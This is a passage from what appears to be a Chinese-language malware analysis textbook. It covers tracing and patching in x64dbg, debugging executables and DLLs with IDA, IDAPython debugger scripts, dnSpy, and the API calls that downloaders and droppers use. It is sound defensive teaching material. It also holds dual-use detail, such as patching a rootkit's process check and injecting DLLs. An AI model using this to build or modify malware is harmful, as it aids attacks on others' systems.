  • 日志条件:此字段的默认值为1。你可以选择性地提供一个日志条件,这样调试器只有在特定条件满足时才会记录事件。日志条件需要是有效的表达式(x64dbg.readthedocs.io/en/latest/introduction/Expressions.html)。

  • 最大跟踪次数:此字段指定调试器放弃之前可以跟踪的最大步骤数。默认值设置为50000,你可以根据需要增加或减少此值。

  • 日志文件按钮:你可以使用此按钮指定日志文件的完整路径,跟踪日志将保存在此文件中。

x64dbg 没有特定的指令跟踪函数跟踪功能,但可以使用追踪进入追踪跳过选项来执行指令跟踪和函数跟踪。你可以通过添加断点来控制跟踪。在下面的截图中,eip 指向第 1 条指令,并且在第 5 条指令处设置了断点。当跟踪开始时,调试器从第一条指令开始跟踪,并在断点处暂停。如果没有断点,跟踪将继续,直到程序结束,或者直到达到最大跟踪次数。如果你想跟踪函数内部的指令,可以选择追踪进入,或者选择追踪跳过来跳过该函数并跟踪其余的指令:

2.9.1 指令跟踪

要在前面的程序中执行指令跟踪(例如,追踪进入),你可以在“追踪进入”对话框中使用以下设置。如前所述,为了在日志文件中捕获跟踪事件,你需要指定日志文件的完整路径和日志文本:

上述截图中的日志文本值(0x{p:cip} {i:cip})是字符串格式,指定调试器记录所有跟踪指令的地址反汇编。以下是程序的跟踪日志。由于选择了追踪进入选项,函数内部的指令(0xdf1000)也被捕获(在下面的代码中高亮显示)。指令跟踪有助于快速了解程序的执行流程:

0x00DF1011      mov ebp, esp
0x00DF1013      call 0xdf1000
0x00DF1000      push ebp
0x00DF1001      mov ebp, esp
0x00DF1003      pop ebp
0x00DF1004      ret
0x00DF1018      xor eax, eax
0x00DF101A      pop ebp

2.9.2 函数跟踪

为了演示函数跟踪,请看以下截图中的程序。在这个程序中,eip指向第一条指令,断点设置在第五条指令(以在此点停止追踪),第三条指令调用了0x311020地址的函数。我们可以使用函数跟踪来确定0x311020函数调用了哪些其他函数:

为了执行函数跟踪(在此案例中选择了“进入追踪”),使用了以下设置。这类似于指令跟踪,不同之处在于在日志条件字段中,指定了一个表达式,指示调试器仅记录函数调用:

以下是通过函数跟踪在日志文件中捕获的事件。从这些事件中,你可以看出,函数0x311020调用了两个其他函数,分别位于0x3110000x311010

0x00311033      call    0x311020
0x00311023      call    0x311000
0x00311028      call    0x311010

在前面的例子中,使用了断点来控制追踪。当调试器到达断点时,执行暂停,且指令/函数在断点之前会被记录。当你恢复调试器时,剩下的指令会被执行,但不会被记录。

2.10 在 x64dbg 中修补

在进行恶意软件分析时,你可能想修改二进制文件以改变其功能或逆向其逻辑,以满足你的需求。x64dbg 允许你修改程序的内存数据或指令。要修改内存中的数据,导航到内存地址,选择你要修改的字节序列,然后右键点击并选择“二进制 | 编辑”(Ctrl + E),这将弹出一个对话框(如下所示),你可以用它来修改数据为 ASCII、UNICODE 或一系列十六进制字节:

以下截图显示了TDSS rootkit DLL 的代码片段(这与前一章中涉及的相同二进制文件,在使用 IDA 修补二进制文件的部分有介绍)。如果你记得的话,这个 DLL 使用字符串比较来检查它是否在spoolsv.exe进程下运行。如果字符串比较失败(也就是说,DLL 没有在spoolsv.exe进程下运行),代码就会跳转到函数的末尾,并在不表现出恶意行为的情况下返回函数。如果你希望这个二进制文件能够在任何进程下运行(而不仅仅是spoolsv.exe),你可以用nop指令修改条件跳转指令(JNE tdss.10001Cf9),以去除进程限制。为此,右键点击条件跳转指令并选择“汇编”,这将弹出如下对话框,使用它可以输入指令。请注意,在截图中,已勾选“填充 NOP”的选项,以确保指令对齐正确:

在修改了内存中的数据或指令之后,你可以通过选择 文件 | 补丁文件 来将补丁应用到文件中,这将弹出一个补丁对话框,显示对二进制文件所做的所有修改。满意修改后,点击 补丁文件 并保存文件:

3. 使用 IDA 调试二进制文件

在上一章中,我们查看了 IDA Pro 的反汇编功能。在本章中,你将了解 IDA 的调试能力。IDA 的商业版本可以调试 32 位和 64 位应用程序,而演示版只允许调试 32 位 Windows 二进制文件。在本节中,你将看到 IDA Pro 提供的一些调试功能,并将学习如何使用它调试恶意二进制文件。

3.1 在 IDA 中启动新进程

启动新进程有不同的方法;一种方法是直接启动调试器,而不先加载程序。要做到这一点,启动 IDA(不加载可执行文件),然后选择 调试器 | 运行 | 本地 Windows 调试器;这将弹出一个对话框,你可以在其中选择要调试的文件。如果可执行文件需要任何参数,你可以在 参数 字段中指定它们。此方法将启动一个新进程,调试器将在程序的 入口点 暂停执行:

启动进程的第二种方法是先在 IDA 中加载可执行文件(这将执行初步分析并显示反汇编输出)。首先,通过 调试器 | 选择调试器(或 F9)选择正确的调试器;然后,你可以将光标放在第一个指令上(或你希望执行暂停的指令),并选择 调试器 | 运行到光标处(或 F4)。这将启动一个新进程,并将执行直到当前光标位置(在这种情况下,断点会自动设置在当前光标位置)。

3.2 使用 IDA 附加到现有进程

你附加到进程的方式取决于程序是否已经加载。当程序没有加载时,选择 调试器 | 附加 | 本地 Windows 调试器。这将列出所有正在运行的进程。只需选择要附加的进程即可。附加后,进程将立即暂停,给你机会在继续执行之前检查进程的资源并设置断点。在这种方法中,IDA 无法执行其初始的自动分析,因为 IDA 的加载器没有机会加载可执行映像:

另一种附加到进程的方法是将与进程关联的可执行文件加载到 IDA 中,然后再附加到该进程。要实现这一点,首先使用 IDA 加载相关的可执行文件,这样 IDA 就可以执行初步分析。然后,选择调试器 | 选择调试器,勾选 Local Win32 调试器(或 Local Windows 调试器)选项,并点击确认。接着,再次选择调试器 | 附加到进程,并选择要附加调试器的进程。

3.3 IDA 的调试器界面

启动程序后,进程会暂停,并会向你展示以下调试器界面:

当进程在调试器控制下时,反汇编工具栏会被调试器工具栏替代。此工具栏包含与调试功能相关的按钮(例如进程控制断点):

  • 反汇编窗口:此窗口与当前指令指针寄存器(eiprip)的值同步。反汇编窗口提供了你在前一章节中学到的相同功能。你还可以通过按下空格键图形视图文本视图模式之间切换。

  • 寄存器窗口:此窗口显示 CPU 通用寄存器的当前内容。你可以右键单击寄存器值,点击修改值、清零值、切换值、增值或减值。切换值特别有用,尤其是当你想要更改 CPU 标志位的状态时。如果寄存器的值是一个有效的内存位置,则寄存器值旁边的右箭头会变为可用状态;点击该箭头可以将视图移动到对应的内存位置。如果你发现自己导航到了其他位置,并希望返回到指令指针指向的位置,只需点击指令指针寄存器(eiprip)值旁的右箭头

  • 栈视图栈视图显示进程运行时栈的数据信息。在调用函数之前检查栈可以获取有关函数参数数量和类型的信息。

  • 十六进制视图:此视图显示内存的标准十六进制转储。十六进制视图在你想要显示有效内存位置的内容时很有用(该位置可能在寄存器指令中)。

  • 模块视图:此视图显示加载到进程内存中的模块列表(可执行文件及其共享库)。双击列表中的任何一个模块,都会显示该模块导出的符号列表。这是一个方便的方式,可以快速跳转到加载库中的函数。

  • 线程视图:显示当前进程中线程的列表。你可以右键单击此窗口来挂起线程恢复挂起的线程

  • 段窗口段窗口可以通过 视图 | 打开子视图 | 段(或 Shift + F7)打开。当你调试一个程序时,段窗口提供有关进程中已分配内存段的信息。此窗口显示可执行文件及其各个部分在内存中的加载位置的信息,还包含所有已加载 DLL 及其段信息。双击任何条目将会将你带到相应的内存位置,进入 反汇编窗口或 十六进制窗口。你可以控制内存地址的内容应该显示在哪里(在反汇编窗口或十六进制窗口中);只需将光标放在反汇编或十六进制窗口中的任何位置,然后双击该条目。根据光标的位置,内存地址的内容将显示在相应的窗口中:

  • 导入和导出窗口:当进程在调试器控制下时,导入和导出窗口默认情况下不会显示。你可以通过 视图 | 打开子视图来显示这些窗口。导入窗口列出了二进制文件导入的所有函数,导出窗口列出了所有导出的函数。导出的函数通常位于 DLL 文件中,因此在调试恶意 DLL 时,这个窗口特别有用。

前一章中解释的其他 IDA 窗口,也可以通过 视图 | 打开子视图进行访问。

3.4 使用 IDA 控制进程执行

第 1.2 节控制进程执行 中,我们讨论了调试器提供的不同执行控制功能。下表概述了在调试程序时,你可以在 IDA 中使用的常见执行控制功能:

功能 热键 菜单选项
继续(运行) F9 调试器 | 继续进程
单步进入 F7 调试器 | 单步进入
单步跳过 F8 调试器 | 单步跳过
跳转到光标 F4 调试器 | 跳转到光标

3.5 在 IDA 中设置断点

要在 IDA 中设置软件断点,你可以导航到希望程序暂停的地点,按下 F2 键(或右键点击并选择 添加断点)。设置断点后,断点所在的地址会以红色高亮显示。你可以通过按 F2 键删除设置的断点。

在下面的截图中,断点被设置在地址 0x00401013 (call sub_401000)处。要在断点地址处暂停执行,首先选择调试器(例如本地 Win32 调试器),然后通过选择 调试器 | 启动进程 (或 F9 热键)来运行程序。这样会执行所有指令,直到到达断点,并在断点地址处暂停:

在 IDA 中,你可以通过编辑已经设置的断点来设置硬件断点和条件断点。要设置硬件断点,右键单击一个已有的断点,然后选择编辑断点。在弹出的对话框中,勾选硬件复选框,如下所示。IDA 允许你设置超过四个硬件断点,但只有四个断点会生效;额外的硬件断点将会被忽略:

你可以使用硬件断点来指定是否在执行时断点(默认),写入时断点,或读/写时断点写入时断点读/写时断点 选项允许你在任何指令访问指定的内存位置时创建内存断点。如果你想知道程序何时从内存位置读取或写入数据,这个断点非常有用。执行时断点 选项允许你在指定的内存位置被执行时设置断点。除了指定模式外,你还必须指定大小。硬件断点的大小与其地址结合,形成一个字节范围,这个范围内的地址可能会触发断点。

你可以通过在条件字段中指定条件来设置条件断点。条件可以是一个实际条件,或者是 IDC 或 IDAPython 表达式。你可以点击条件字段旁边的...按钮,这将打开编辑器,在编辑器中你可以使用 IDC 或 IDAPython 脚本语言来评估条件。你可以在 www.hex-rays.com/products/ida/support/idadoc/1488.shtml 查找到设置条件断点的一些示例。

你可以通过导航到 调试器 | 断点 | 断点列表 (或按 Ctrl + Alt + B)来查看所有活动断点。你可以右键点击断点条目并禁用删除该断点。

3.6 恶意软件可执行文件调试

在本节中,我们将介绍如何使用 IDA 调试恶意二进制文件。考虑一个 32 位恶意软件样本的反汇编列表。恶意软件调用CreateFileWAPI 创建文件,但仅从反汇编列表中并不清楚恶意软件创建了哪个文件。通过查看CreateFile的 MSDN 文档,你可以了解到CreateFile的第一个参数将包含文件名;此外,CreateFile中的W后缀表示文件名是一个 UNICODE 字符串(有关该 API 的详细信息,请参阅前一章)。为了确定文件名,我们可以在调用CreateFileW的位置设置一个断点,然后运行程序(F9)直到程序达到断点。当程序达到断点时(即在调用CreateFileW之前),所有函数的参数将被推送到栈上,因此我们可以检查栈中的第一个参数来确定文件名。在调用CreateFileW之后,文件的句柄将通过eax寄存器返回,并在➋处被复制到esi寄存器中:


.text:00401047     push  0          ; hTemplateFile
.text:00401049     push  80h        ; dwFlagsAndAttributes
.text:0040104E     push  2          ; dwCreationDisposition
.text:00401050     push  0          ; lpSecurityAttributes
.text:00401052     push  0          ; dwShareMode
.text:00401054     push  40000000h  ; dwDesiredAccess
.text:00401059     lea  edx, [esp+800h+Buffer]
.text:00401060     push  edx        ; lpFileName
.text:00401061  ➊ call  ds:CreateFileW 
.text:00401067     mov  esi, eax ➋

在下图中,执行在调用CreateFileW时已暂停(这是通过设置断点并运行程序实现的)。函数的第一个参数是 UNICODE 字符串(filename)的地址(0x003F538)。你可以使用 IDA 中的十六进制视图窗口来检查任何有效内存位置的内容。通过右键点击地址0x003F538并选择“Follow in hex dump”选项,可以显示文件名的十六进制内容,如下所示。在此情况下,恶意软件正在C:\Users\test\AppData\Local\Temp目录中创建一个文件SHAMple.dat

恶意软件在创建文件后,将文件句柄作为第一个参数传递给WriteFile函数。这表明恶意软件将某些内容写入文件SHAmple.dat。要确定它写入文件的内容,可以检查WriteFile函数的第二个参数。在这种情况下,它将字符串FunFunFun写入文件,如下图所示。如果恶意软件正在将可执行内容写入文件,你也可以通过这种方法查看:

3.7 使用 IDA 调试恶意 DLL

在第三章,动态分析中,你学习了执行 DLL 进行动态分析的技巧。在本节中,你将使用在第三章,动态分析中学到的一些概念,通过 IDA 调试 DLL。如果你不熟悉 DLL 的动态分析,强烈建议在继续之前阅读第三章动态分析中的S**ection 6动态链接库(DLL)分析

要使用 IDA 调试器调试 DLL,首先需要指定将用于加载 DLL 的可执行文件(如rundll32.exe)。要调试 DLL,首先将 DLL 加载到 IDA 中,IDA 可能会显示DLLMain函数的反汇编代码。在DLLMain函数的第一条指令上设置断点(F2),如以下截图所示。这样,当你运行 DLL 时,执行将会在DLLMain函数的第一条指令处暂停。你也可以通过 IDA 的导出窗口,导航到 DLL 导出的任何函数上并设置断点。

在你设置了期望的地址断点(即你希望程序暂停执行的地方)之后,通过选择调试器菜单 Debugger | Select debugger | Local Win32 debugger(或者Debugger | Select debugger | Local Windows debugger)并点击 OK,来选择调试器。接下来,选择 Debugger | Process options,打开如下截图所示的对话框。在 Application 字段中,输入用于加载 DLL 的可执行文件的完整路径(rundll32.exe)。在 Input file 字段中,输入你想要调试的 DLL 的完整路径,在 Parameters 字段中,输入传递给rundll32.exe的命令行参数,然后点击 OK。现在,你可以运行程序,直到程序到达断点,之后你可以像调试任何其他程序一样调试它。你传递给rundll32.exe的参数应该具有正确的语法,以成功调试 DLL(参考第三章,动态分析中的Working of rundll32.exe部分)。需要注意的一点是,rundll32.exe同样可以用来执行 64 位 DLL,方法相同:

3.7.1 在特定进程中调试 DLL

第三章,动态分析 中,您学到了如何通过一些 DLL 执行进程检查,以判断它们是否在特定进程下运行,比如 explorer.exeiexplore.exe。在这种情况下,您可能希望在特定的宿主进程内调试 DLL,而不是 rundll32.exe。为了在 DLL 的入口点暂停执行,您可以选择 启动 一个新的宿主进程实例,或使用调试器 附加 到目标宿主进程,然后选择 调试器 | 调试器选项,并勾选“在库加载/卸载时暂停”选项。该选项会告诉调试器每当加载或卸载一个新模块时暂停执行。在进行这些设置后,您可以通过按 F9 快捷键恢复暂停的宿主进程并让它继续运行。现在,您可以使用像 RemoteDLL 这样的工具将 DLL 注入到调试的宿主进程中。当 DLL 被宿主进程加载时,调试器会暂停,给您一个机会在加载模块的地址设置断点。您可以通过查看“段”窗口来了解 DLL 已经加载到内存的地址,如下所示:

在前面的截图中,您可以看到被注入的 DLL (rasaut.dll) 已加载到内存中的地址 0x10000000(基址)。您可以通过将基地址(0x10000000)与 PE 头 中的 AddressOfEntryPoint 字段的值相加来在入口点的地址设置断点。您可以通过将 DLL 加载到如 pestudioCFFexplorer 等工具中来确定入口点的地址值。例如,如果 AddressOfEntryPoint 的值为 0x1BFB,那么 DLL 的入口点地址可以通过将基地址(0x10000000)与值 0x1BFB 相加得到,结果是 0x10001BFB。现在,您可以跳转到地址 0x10001BFB(或者按 G 键跳转到该地址),并在该地址设置断点,然后恢复暂停的进程。

3.8 使用 IDA 跟踪执行

跟踪 允许你在进程执行时记录(日志)特定的事件。它可以提供二进制文件的详细执行信息。IDA 支持三种类型的跟踪:指令跟踪函数跟踪基本块跟踪。要在 IDA 中启用跟踪,你需要设置一个断点,然后右键点击断点地址并选择“编辑断点”,这会弹出一个断点设置对话框。在对话框中,勾选“启用跟踪”选项,并选择合适的跟踪类型。然后,通过 调试器 | 选择调试器 菜单(如前所述)选择调试器,并运行(F9)程序。以下截图中的位置字段指定了正在编辑的断点,它将作为起始地址执行跟踪。跟踪会一直持续,直到达到一个断点或程序结束。为了指示哪些指令已被跟踪,IDA 通过颜色编码高亮显示指令。跟踪完成后,你可以通过选择 调试器 | 跟踪 | 跟踪窗口 来查看跟踪结果。你可以通过 调试器 | 跟踪 | 跟踪选项 控制跟踪选项:

指令跟踪 记录每条指令的执行并显示修改后的寄存器值。指令跟踪较慢,因为调试器会通过单步执行(single-step)进程来监控和记录所有寄存器的值。指令跟踪 对于确定程序的执行流非常有用,并可以了解在执行每条指令期间哪些寄存器被修改。你可以通过添加断点来控制跟踪。

考虑以下截图中的程序。假设你想跟踪前四条指令(其中第三条指令包含一个函数调用)。为此,首先,在第一条指令处设置一个断点,在第五条指令处设置另一个断点,如下图所示。然后,编辑第一个断点(地址为 0x00401010),并启用指令跟踪。现在,当你开始调试时,调试器会跟踪前四条指令(包括函数内的指令),并在第五条指令处暂停。如果没有指定第二个断点,调试器将跟踪所有指令:

以下截图显示了在调试器暂停于第五条指令时,指令跟踪 事件在跟踪窗口中的表现。注意执行流是如何从 main 流向 sub_E41000,然后又返回到 main。如果你希望跟踪剩余的指令,可以通过恢复暂停的进程来实现:

函数跟踪:这会记录所有的函数调用和返回,但不会记录函数跟踪事件中的寄存器值。函数跟踪对于确定程序调用了哪些函数子函数非常有用。你可以通过将跟踪类型设置为函数,并按照与指令跟踪相同的步骤进行函数跟踪。

在以下示例中,恶意软件样本调用了两个函数。假设我们想快速了解第一个函数调用时调用了哪些其他函数。为了做到这一点,我们可以在第一条指令处设置第一个断点,并启用函数跟踪(通过编辑断点),然后可以在第二条指令处设置另一个断点。第二个断点将作为停止点(跟踪将一直进行到达第二个断点)。以下截图展示了这两个断点:

以下截图展示了函数跟踪的结果。从跟踪的事件中,你可以看到函数sub_4014A0调用了与注册表相关的 API 函数;这表明该函数负责执行注册表操作:

有时,你的跟踪可能需要很长时间,并且似乎永远不会结束;如果函数没有返回到其调用者并且在等待事件发生的循环中运行,就会发生这种情况。在这种情况下,你仍然可以在跟踪窗口中看到跟踪日志。

块跟踪:IDA 允许你进行块跟踪,这对于了解在运行时哪些代码块被执行非常有用。你可以通过将跟踪类型设置为基本块来启用块跟踪。在块跟踪的情况下,调试器将在每个函数的每个基本块的最后一条指令处设置断点,并且还会在跟踪块中间的任何调用指令处设置断点。基本块跟踪比正常执行慢,但比指令函数跟踪要快。

3.9 使用 IDAPython 的调试器脚本

你可以使用调试器脚本来自动化与恶意软件分析相关的常规任务。在上一章中,我们介绍了如何使用 IDAPython 进行静态代码分析。在本节中,你将学习如何使用 IDAPython 执行与调试相关的任务。本节中展示的 IDAPython 脚本使用了新的 IDAPython API,这意味着如果你使用的是旧版本的 IDA(低于 IDA 7.0),这些脚本将无法工作。

以下资源应帮助你开始使用 IDAPython 调试器脚本。这些资源中的大部分(除了 IDAPython 文档)使用旧版 IDAPython API 演示脚本功能,但它们足够帮助你理解。如果你遇到困难,可以参考 IDAPython 文档:

本节将帮助你了解如何使用 IDAPython 进行调试相关任务。首先,在 IDA 中加载可执行文件,并选择调试器(通过 Debugger | Select debugger)。在测试以下脚本命令时,选择了本地 Windows 调试器。可执行文件加载后,你可以在 IDA 的 Python 控制台中执行以下提到的 Python 代码片段,或者通过选择 File | Script Command (Shift + F2) 并从下拉菜单中选择 Python 作为脚本语言。如果你希望将其作为独立脚本运行,你可能需要导入适当的模块(例如,import idc)。

以下代码片段在当前光标位置设置一个断点,启动调试器,等待 suspend debugger 事件发生,然后打印与断点地址相关的 地址反汇编文本

idc.add_bpt(idc.get_screen_ea())
idc.start_process('', '', '')
evt_code = idc.wait_for_next_event(WFNE_SUSP, -1)
if (evt_code > 0) and (evt_code != idc.PROCESS_EXITED):
    evt_ea = idc.get_event_ea()
    print "Breakpoint Triggered at:", hex(evt_ea),idc.generate_disasm_line(evt_ea, 0)

执行上述脚本命令后,生成的输出如下:

Breakpoint Triggered at: 0x1171010 push ebp

以下代码片段 单步进入 下一条指令,并打印 地址反汇编文本。同样,你可以使用 idc.step_over()单步跳过 指令:

idc.step_into()
evt_code = idc.wait_for_next_event(WFNE_SUSP, -1)
if (evt_code > 0) and (evt_code != idc.PROCESS_EXITED):
    evt_ea = idc.get_event_ea() 
    print "Stepped Into:", hex(evt_ea),idc.generate_disasm_line(evt_ea, 0)

执行上述脚本命令后的结果如下所示:

Stepped Into: 0x1171011 mov ebp,esp

要获取寄存器的值,你可以使用 idc.get_reg_value()。以下示例获取 esp 寄存器的值,并在 输出窗口 中打印它:

Python>esp_value = idc.get_reg_value("esp")
Python>print hex(esp_value)
0x1bf950

要获取地址 0x14fb04 处的 dword 值,可以使用以下代码。同样,你可以使用 idc.read_dbg_byte(ea)idc.read_dbg_word(ea)idc.read_dbg_qword(ea) 来获取特定地址处的 bytewordqword 值:

Python>ea = 0x14fb04
print hex(idc.read_dbg_dword(ea))
0x14fb54

要获取地址 0x01373000 处的 ASCII 字符串,可以使用以下方法。默认情况下,idc.get_strlit_contents() 函数会获取给定地址处的 ASCII 字符串:

Python>ea = 0x01373000
Python>print idc.get_strlit_contents(ea)
This is a simple program

要获取 UNICODE 字符串,你可以通过设置 strtype 参数为常量值 idc.STRTYPE_C_16,使用 idc.get_strlit_contents() 函数,如下所示。你可以在 idc.idc 文件中找到已定义的常量值,文件位于你的 IDA 安装目录:

Python>ea = 0x00C37860
Python>print idc.get_strlit_contents(ea, strtype=idc.STRTYPE_C_16)
SHAMple.dat

以下代码列出所有加载的模块(可执行文件和 DLL)及其基地址:

import idautils
for m in idautils.Modules():
    print "0x%08x %s" % (m.base, m.name)

执行前面脚本命令的结果如下所示:

0x00400000 C:\malware\5340.exe
0x735c0000 C:\Windows\SYSTEM32\wow64cpu.dll
0x735d0000 C:\Windows\SYSTEM32\wow64win.dll
0x73630000 C:\Windows\SYSTEM32\wow64.dll
0x749e0000 C:\Windows\syswow64\cryptbase.dll
[REMOVED]

要获取CreateFileA函数在kernel32.dll中的地址,请使用以下代码:

Python>ea = idc.get_name_ea_simple("kernel32_CreateFileA")
Python>print hex(ea)
0x768a53c6

要恢复暂停的进程,可以使用以下代码:

Python>idc.resume_process()

3.9.1 示例 – 确定恶意软件访问的文件

在上一章中,我们讨论了 IDAPython,并编写了一个 IDAPython 脚本来确定所有指向CreateFileA函数的交叉引用(即CreateFileA被调用的地址)。在本节中,让我们增强该脚本,执行调试任务并确定恶意软件创建(或打开)的文件名。

以下脚本会在程序中调用CreateFileA的所有地址处设置断点,并运行恶意软件。在运行以下脚本之前,选择适当的调试器(调试器 | 选择调试器 | 本地 Windows 调试器)。当此脚本执行时,它将在每个断点暂停(也就是说,在调用CreateFileA之前),并打印第一个参数(lpFileName)、第二个参数(dwDesiredAccess)和第五个参数(dwCreationDisposition)。这些参数将告诉我们文件名、表示对文件执行操作的常量值(如读取/写入),以及表示将执行的操作的另一个常量值(如创建打开)。当断点被触发时,第一个参数可以通过[esp]访问,第二个参数通过[esp+0x4]访问,第五个参数通过[esp+0x10]访问。除了打印一些参数外,脚本还通过获取EAX寄存器的值来确定文件的handle返回值),该值是在步进过CreateFile函数后获得的:

import idc
import idautils
import idaapi

ea = idc.get_name_ea_simple("CreateFileA")
if ea == idaapi.BADADDR:
   print "Unable to locate CreateFileA"
else:
   for ref in idautils.CodeRefsTo(ea, 1):
       idc.add_bpt(ref)
idc.start_process('', '', '')
while True:
    event_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
    if event_code < 1 or event_code == idc.PROCESS_EXITED:
         break
    evt_ea = idc.get_event_ea()
    print "0x%x %s" % (evt_ea, idc.generate_disasm_line(evt_ea,0))
    esp_value = idc.get_reg_value("ESP")
    dword = idc.read_dbg_dword(esp_value) 
    print "\tFilename:", idc.get_strlit_contents(dword)
    print "\tDesiredAccess: 0x%x" % idc.read_dbg_dword(esp_value + 4)
    print "\tCreationDisposition:", hex(idc.read_dbg_dword(esp_value+0x10))
    idc.step_over()
    evt_code = idc.wait_for_next_event(idc.WFNE_SUSP, -1)
    if evt_code == idc.BREAKPOINT:
        print "\tHandle(return value): 0x%x" % idc.get_reg_value("EAX")
    idc.resume_process()

以下是执行前面脚本的结果。DesiredAccess0x400000000x80000000分别表示GENERIC_WRITEGENERIC_READ操作。createDisposition0x20x3分别表示CREATE_ALWAYS(始终创建一个新文件)和OPEN_EXISTING(仅在文件存在时打开文件)。如您所见,通过使用调试器脚本,可以快速确定恶意软件创建/访问的文件名:

0x4013fb call     ds:CreateFileA
     Filename: ka4a8213.log
     DesiredAccess: 0x40000000
     CreationDisposition: 0x2
     Handle(return value): 0x50
0x401161 call     ds:CreateFileA
     Filename: ka4a8213.log
     DesiredAccess: 0x80000000
     CreationDisposition: 0x3
     Handle(return value): 0x50
0x4011aa call     ds:CreateFileA
     Filename: C:\Users\test\AppData\Roaming\Microsoft\winlogdate.exe
     DesiredAccess: 0x40000000
     CreationDisposition: 0x2
     Handle(return value): 0x54
----------------[Removed]------------------------

4. 调试.NET 应用程序

在进行恶意软件分析时,您将需要分析各种不同的代码。您很可能会遇到使用Microsoft Visual C/C++Delphi.NET 框架创建的恶意软件。在本节中,我们将简要介绍一个名为dnSpy的工具(github.com/0xd4d/dnSpy),它使得分析 .NET 二进制文件变得更加简单。它在反编译和调试.NET 应用程序方面非常有效。要加载 .NET 应用程序,您可以将应用程序拖放到dnSpy中,或者启动dnSpy并选择“文件 | 打开”,然后提供二进制文件的路径。一旦 .NET 应用程序加载完成,dnSpy 将反编译该应用程序,您可以在左侧窗口(名为“程序集浏览器”)中访问程序的各个方法和类。以下截图显示了反编译后的 .NET 恶意二进制文件(名为SQLite.exe)的main函数:

一旦二进制文件被反编译,您可以通过阅读代码(静态代码分析)来确定恶意软件的功能,或者通过调试代码进行动态代码分析。要调试恶意软件,您可以点击工具栏上的“开始”按钮,或者选择“调试 | 调试程序集”(F5);这将弹出如下所示的对话框:

使用“Break at drop-down”选项,您可以指定在调试器启动时断点的位置。设置好选项后,您可以点击“确定”按钮,这将启动调试过程并在入口点暂停调试器。现在,您可以通过“调试”菜单访问各种调试器选项(如“步过”、“步入”、“继续”等),如以下截图所示。您还可以通过双击某行或选择调试 | 切换断点F9)来设置断点。在调试过程中,您可以使用本地窗口检查一些局部变量或内存位置:

要了解 .NET 二进制分析,并对前面提到的二进制文件(名为SQLite.exe)进行详细分析,您可以阅读作者的博客文章:cysinfo.com/cyber-attack-targeting-cbi-and-possibly-indian-army-officials/

总结

本章介绍的调试技术是理解恶意二进制文件内部工作原理的有效方法。像 IDA、x64dbg 和 dnSpy 等代码分析工具提供的调试功能,可以大大增强您的逆向工程过程。在恶意软件分析中,您通常会结合反汇编和调试技术来确定恶意软件的功能,并从恶意二进制文件中获取有价值的信息。

在下一章中,我们将运用到目前为止学到的技能,理解各种恶意软件的特征和功能。

第七章:恶意软件功能和持久性

恶意软件可以执行各种操作,它可能包含各种功能。 理解恶意软件的功能和行为至关重要,以便理解恶意二进制文件的性质和目的。 在过去的几章中,你学习了执行恶意软件分析所需的技能和工具。 在本章和接下来的几章中,我们将主要关注理解不同的恶意软件行为,它们的特征及其能力。

1. 恶意软件功能

到目前为止,你应该已经了解恶意软件如何利用 API 函数与系统进行交互。 在本节中,你将了解恶意软件如何利用各种 API 函数实现特定功能。 有关在特定 API 上寻求帮助以及如何阅读 API 文档的信息,请参考第三部分,《Windows API 反汇编》,在第五章中,《使用 IDA 进行反汇编》。

1.1 下载器

在进行恶意软件分析时,你将遇到的最简单类型的恶意软件是下载器。 下载器是从互联网下载另一个恶意软件组件并在系统上执行的程序。 它通过调用UrlDownloadToFile() API 来完成文件下载到磁盘上。 下载完成后,它再使用ShellExecute()WinExec()CreateProcess() API 调用来执行下载的组件。 通常情况下,你会发现下载器被用作攻击载荷的一部分。

下面的截图显示了一个 32 位恶意软件下载器使用UrlDownloadToFileA()ShellExecuteA()来下载和执行恶意二进制文件。 为了确定从哪个 URL 下载恶意二进制文件,设置了一个在调用UrlDownloadToFileA()时断点。 运行代码后,断点被触发,如下截图所示。 UrlDownloadToFileA()的第二个参数显示了恶意可执行文件(wowreg32.exe)将被下载的 URL,第三个参数指定了下载的可执行文件将保存在磁盘上的位置。 在这种情况下,下载器将下载的可执行文件保存在%TEMP%目录下,命名为temp.exe

将恶意软件可执行文件下载到%TEMP%目录后,下载器通过调用ShellExecuteA() API 来执行它,如下截图所示。 或者,恶意软件也可能使用WinExec()CreateProcess() API 来执行下载的文件:

在调试恶意二进制文件时,最好运行监控工具(如Wireshark)和仿真工具(如InetSim),以便观察恶意软件的行为并捕获其生成的流量。

1.2 植入器

下拉程序是一个将额外的恶意软件组件嵌入自身的程序。当执行时,下拉程序提取恶意软件组件并将其写入磁盘。下拉程序通常会将额外的二进制文件嵌入资源区。为了提取嵌入的可执行文件,下拉程序使用FindResource()LoadResource()LockResource()SizeOfResource() API 调用。在下图中,Resource Hacker 工具(在第二章中介绍* 第二章,静态分析)显示恶意软件样本的资源部分包含一个 PE 文件。在这种情况下,资源类型是 DLL:

在 x64dbg 中加载恶意二进制文件,并查看对 API 调用的引用(在上一章中介绍),显示了与资源相关的 API 调用引用。这表明恶意软件正在从资源部分提取内容。此时,你可以在调用FindResourceA() API 的地址设置断点,如下所示:

在下图中,运行程序后,执行在FindResourceA() API 处暂停,原因是之前步骤中设置了断点。传递给FindResourceA() API 的第二个和第三个参数告诉你恶意软件正在尝试查找DLL/101资源,如下所示:

执行完FindResourceA()后,它的返回值(存储在EAX中),即指定资源信息块的句柄,将作为第二个参数传递给LoadResource() API。LoadResource()检索与资源相关的数据句柄。LoadResource()的返回值(包含检索到的句柄)然后作为参数传递给LockResource() API,后者获取指向实际资源的指针。在下图中,执行在调用LockResource()后立即暂停。检查转储窗口中存储在EAX中的返回值,显示从资源部分检索到的 PE 可执行内容:

一旦检索到资源,恶意软件通过SizeOfResource() API 确定资源(PE 文件)的大小。接下来,恶意软件使用CreateFileA将 DLL 写入磁盘,如下所示:

然后,通过WriteFile() API 将提取的 PE 内容写入 DLL。在下图中,第一个参数0x5c是 DLL 的句柄,第二个参数0x00404060是检索到的资源地址(PE 文件),第三个参数0x1c00是资源的大小,该大小是通过调用SizeOfResource()确定的:

1.2.1 反向分析 64 位下拉程序

以下是一个 64 位恶意软件投放工具(称为 黑客之门)的示例。如果你还不熟悉调试 64 位样本,请参阅上一章的 2.7 节,调试 64 位恶意软件。该恶意软件使用相同的 API 函数集来查找并提取资源;不同之处在于,前几个参数被放置在寄存器中,而不是压入堆栈(因为它是 64 位二进制)。恶意软件首先使用 FindResourceW() API 查找 BIN/100 资源,如下所示:

